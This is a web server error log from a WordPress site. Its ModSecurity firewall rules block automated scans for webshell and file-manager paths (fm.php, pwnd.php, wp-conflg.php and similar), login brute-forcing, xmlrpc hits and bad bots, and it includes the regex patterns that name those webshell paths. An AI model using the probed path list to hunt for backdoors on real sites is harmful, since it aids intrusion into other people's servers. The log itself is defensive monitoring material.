[Sat Nov 22 07:06:02.887965 2025] [:error] [pid 9547:tid 9556] [client 31.171.130.101:23749] [client 31.171.130.101] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.101, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/modules/karakaroa/wp-login.php"] [unique_id "aSDwWtClOR5qk7DoMeGplAAAAUM"]
[Sat Nov 22 07:06:03.369451 2025] [:error] [pid 9547:tid 9567] [client 31.171.130.101:23749] [client 31.171.130.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSDwW9ClOR5qk7DoMeGplQAAAU4"]
[Sat Nov 22 07:06:06.478949 2025] [:error] [pid 9547:tid 9569] [client 31.171.130.96:62879] [client 31.171.130.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.96, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aSDwXtClOR5qk7DoMeGpnAAAAVA"]
[Sat Nov 22 07:06:15.982506 2025] [:error] [pid 9547:tid 9571] [client 31.171.130.96:62879] [client 31.171.130.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/editor/fxp.php"] [unique_id "aSDwZ9ClOR5qk7DoMeGpyQAAAVI"]
[Sat Nov 22 07:06:22.866159 2025] [:error] [pid 9547:tid 9559] [client 31.171.130.101:25789] [client 31.171.130.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aSDwbtClOR5qk7DoMeGp2wAAAUY"]
[Sat Nov 22 07:06:33.387590 2025] [:error] [pid 9547:tid 9556] [client 31.171.130.73:50187] [client 31.171.130.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.73, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aSDwedClOR5qk7DoMeGp8gAAAUM"]
[Sat Nov 22 07:06:42.175372 2025] [autoindex:error] [pid 9547:tid 9570] [client 31.171.130.73:50187] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 22 07:09:48.071997 2025] [authz_core:error] [pid 53477:tid 53484] [client 31.171.130.75:41711] AH01630: client denied by server configuration: /home/measureyourbrand/public_html/system/
[Sat Nov 22 07:56:37.928825 2025] [:error] [pid 53479:tid 53543] [client 43.135.133.194:44160] [client 43.135.133.194] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSD8NW6cicFF3Aas-oSw4gAAAIc"]
[Sat Nov 22 09:11:55.625706 2025] [autoindex:error] [pid 53478:tid 53514] [client 139.59.37.180:55708] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Nov 22 13:14:21.806989 2025] [:error] [pid 53479:tid 53545] [client 182.40.104.255:33194] [client 182.40.104.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSFGrW6cicFF3Aas-oQTHgAAAIk"]
[Sat Nov 22 15:27:16.015374 2025] [:error] [pid 53477:tid 53482] [client 43.159.152.184:55794] [client 43.159.152.184] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aSFl1H7Lu30Ku9O40aKHXAAAAAE"]
[Sat Nov 22 15:55:56.320657 2025] [:error] [pid 53479:tid 53560] [client 139.135.241.64:53911] [client 139.135.241.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.135.241.64, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aSFsjG6cicFF3Aas-oRUswAAAJg"]
[Sun Nov 23 00:01:04.985610 2025] [:error] [pid 25856:tid 25880] [client 138.197.43.225:14626] [client 138.197.43.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSHeQBsTP0wy94zKUvEXZgAAARY"]
[Sun Nov 23 00:01:05.626344 2025] [:error] [pid 9547:tid 9565] [client 138.197.43.225:57756] [client 138.197.43.225] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSHeQdClOR5qk7DoMeEoGwAAAUw"]
[Sun Nov 23 02:09:05.550639 2025] [:error] [pid 39942:tid 40000] [client 91.217.249.216:23255] [client 91.217.249.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aSH8QaNupsOsQf9D2gxtzQAAAUU"]
[Sun Nov 23 02:09:12.381495 2025] [:error] [pid 39713:tid 39745] [client 91.217.249.210:56079] [client 91.217.249.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aSH8SEUgrb325CIAjPqqtAAAABg"]
[Sun Nov 23 02:09:20.446177 2025] [:error] [pid 39942:tid 40018] [client 45.86.202.206:47577] [client 45.86.202.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aSH8UKNupsOsQf9D2gxt5wAAAVc"]
[Sun Nov 23 02:09:28.610727 2025] [:error] [pid 39719:tid 39781] [client 91.217.249.208:58089] [client 91.217.249.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aSH8WBmP4k0tY5Yex-XW-AAAAQU"]
[Sun Nov 23 02:09:30.801348 2025] [:error] [pid 39719:tid 39784] [client 45.86.202.207:24169] [client 45.86.202.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aSH8WhmP4k0tY5Yex-XW-QAAAQg"]
[Sun Nov 23 02:09:33.562473 2025] [:error] [pid 39713:tid 39728] [client 91.217.249.211:60033] [client 91.217.249.211] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aSH8XUUgrb325CIAjPqqyQAAAAc"]
[Sun Nov 23 02:09:35.114670 2025] [:error] [pid 8816:tid 8895] [client 91.217.249.220:51023] [client 91.217.249.220] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aSH8X5b4RIAN-_BXnHl1lAAAAIo"]
[Sun Nov 23 02:09:38.680558 2025] [:error] [pid 39718:tid 39750] [client 91.217.249.205:27153] [client 91.217.249.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aSH8YgQ3B_uDoeItNmN4UQAAAEE"]
[Sun Nov 23 02:09:44.390679 2025] [:error] [pid 39719:tid 39798] [client 91.217.249.185:45503] [client 91.217.249.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aSH8aBmP4k0tY5Yex-XXCgAAARY"]
[Sun Nov 23 02:09:46.108627 2025] [:error] [pid 39719:tid 39796] [client 45.86.202.206:42485] [client 45.86.202.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aSH8ahmP4k0tY5Yex-XXDAAAARQ"]
[Sun Nov 23 02:10:24.555244 2025] [:error] [pid 39719:tid 39797] [client 91.217.249.200:61499] [client 91.217.249.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.200, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aSH8kBmP4k0tY5Yex-XXaAAAARU"]
[Sun Nov 23 02:10:32.216957 2025] [:error] [pid 39719:tid 39784] [client 91.217.249.200:61499] [client 91.217.249.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/modules.php"] [unique_id "aSH8mBmP4k0tY5Yex-XXfAAAAQg"]
[Sun Nov 23 02:10:52.936605 2025] [:error] [pid 39718:tid 39750] [client 91.217.249.214:36903] [client 91.217.249.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/codeboy1877_up.php"] [unique_id "aSH8rAQ3B_uDoeItNmN4qQAAAEE"]
[Sun Nov 23 02:11:44.205064 2025] [:error] [pid 8816:tid 8902] [client 91.217.249.200:39413] [client 91.217.249.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/lx.php"] [unique_id "aSH84Jb4RIAN-_BXnHl3BwAAAJE"]
[Sun Nov 23 02:12:54.773772 2025] [:error] [pid 39942:tid 40016] [client 91.217.249.188:27483] [client 91.217.249.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/F0x.php"] [unique_id "aSH9JqNupsOsQf9D2gxvwAAAAVU"]
[Sun Nov 23 02:13:30.677610 2025] [:error] [pid 39942:tid 40002] [client 91.217.249.227:57531] [client 91.217.249.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aSH9SqNupsOsQf9D2gxwBQAAAUc"]
[Sun Nov 23 02:13:32.819678 2025] [:error] [pid 39942:tid 40012] [client 91.217.249.186:60745] [client 91.217.249.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.217.249.186, incrementing ddos counter"] [hostname "www.measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aSH9TKNupsOsQf9D2gxwBgAAAVE"]
[Sun Nov 23 02:13:36.924481 2025] [:error] [pid 39942:tid 40008] [client 91.217.249.186:60745] [client 91.217.249.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSH9UKNupsOsQf9D2gxwCgAAAU0"]
[Sun Nov 23 02:13:44.167689 2025] [:error] [pid 39942:tid 40000] [client 91.217.249.207:28943] [client 91.217.249.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSH9WKNupsOsQf9D2gxwGQAAAUU"]
[Sun Nov 23 02:14:07.784004 2025] [:error] [pid 39718:tid 39758] [client 91.217.249.196:35929] [client 91.217.249.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aSH9bwQ3B_uDoeItNmN5bAAAAEk"]
[Sun Nov 23 02:14:09.232295 2025] [:error] [pid 8816:tid 8899] [client 91.217.249.192:59973] [client 91.217.249.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSH9cZb4RIAN-_BXnHl3xAAAAI4"]
[Sun Nov 23 02:14:10.381713 2025] [:error] [pid 39718:tid 39759] [client 91.217.249.186:49045] [client 91.217.249.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aSH9cgQ3B_uDoeItNmN5bgAAAEo"]
[Sun Nov 23 02:14:11.296780 2025] [:error] [pid 39942:tid 40002] [client 91.217.249.210:33695] [client 91.217.249.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aSH9c6NupsOsQf9D2gxwOgAAAUc"]
[Sun Nov 23 02:14:14.292867 2025] [:error] [pid 8816:tid 8895] [client 91.217.249.212:39187] [client 91.217.249.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.212, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/images/wp-login.php"] [unique_id "aSH9dpb4RIAN-_BXnHl3zQAAAIo"]
[Sun Nov 23 02:14:29.594233 2025] [:error] [pid 8816:tid 8885] [client 91.217.249.212:39187] [client 91.217.249.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aSH9hZb4RIAN-_BXnHl36wAAAIE"]
[Sun Nov 23 02:14:32.588650 2025] [:error] [pid 39719:tid 39776] [client 91.217.249.215:25997] [client 91.217.249.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.215, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "aSH9iBmP4k0tY5Yex-XY0wAAAQA"]
[Sun Nov 23 02:14:37.443975 2025] [:error] [pid 39719:tid 39788] [client 91.217.249.215:25997] [client 91.217.249.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/makeasmtp.php"] [unique_id "aSH9jRmP4k0tY5Yex-XY6wAAAQw"]
[Sun Nov 23 02:14:38.530710 2025] [:error] [pid 39942:tid 40005] [client 91.217.249.188:29867] [client 91.217.249.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "aSH9jqNupsOsQf9D2gxwZgAAAUo"]
[Sun Nov 23 02:14:40.889161 2025] [proxy_fcgi:error] [pid 39713:tid 39738] [client 91.217.249.195:42215] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 02:14:45.332688 2025] [proxy_fcgi:error] [pid 39713:tid 39733] [client 91.217.249.195:42215] AH01071: Got error 'Primary script unknown'
[Sun Nov 23 02:14:54.255652 2025] [:error] [pid 39713:tid 39728] [client 91.217.249.195:42215] [client 91.217.249.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSH9nkUgrb325CIAjPqsRAAAAAc"]
[Sun Nov 23 02:14:57.390031 2025] [:error] [pid 39942:tid 40005] [client 45.86.202.209:51367] [client 45.86.202.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/bak.php"] [unique_id "aSH9oaNupsOsQf9D2gxwegAAAUo"]
[Sun Nov 23 02:14:58.655480 2025] [:error] [pid 39719:tid 39780] [client 91.217.249.185:47351] [client 91.217.249.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aSH9ohmP4k0tY5Yex-XZHgAAAQQ"]
[Sun Nov 23 02:15:07.663256 2025] [:error] [pid 39718:tid 39760] [client 91.217.249.190:28555] [client 91.217.249.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aSH9qwQ3B_uDoeItNmN5sgAAAEs"]
[Sun Nov 23 02:15:08.800124 2025] [:error] [pid 8816:tid 8900] [client 91.217.249.196:58479] [client 91.217.249.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSH9rJb4RIAN-_BXnHl4RQAAAI8"]
[Sun Nov 23 02:15:09.969795 2025] [:error] [pid 8816:tid 8885] [client 91.217.249.219:56277] [client 91.217.249.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.217.249.219, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aSH9rZb4RIAN-_BXnHl4SQAAAIE"]
[Sun Nov 23 02:15:14.364520 2025] [:error] [pid 8816:tid 8898] [client 91.217.249.219:56277] [client 91.217.249.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aSH9spb4RIAN-_BXnHl4TwAAAI0"]
[Sun Nov 23 02:15:26.080783 2025] [:error] [pid 39719:tid 39788] [client 91.217.249.189:54157] [client 91.217.249.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/wp-includes_function.php"] [unique_id "aSH9vhmP4k0tY5Yex-XZgQAAAQw"]
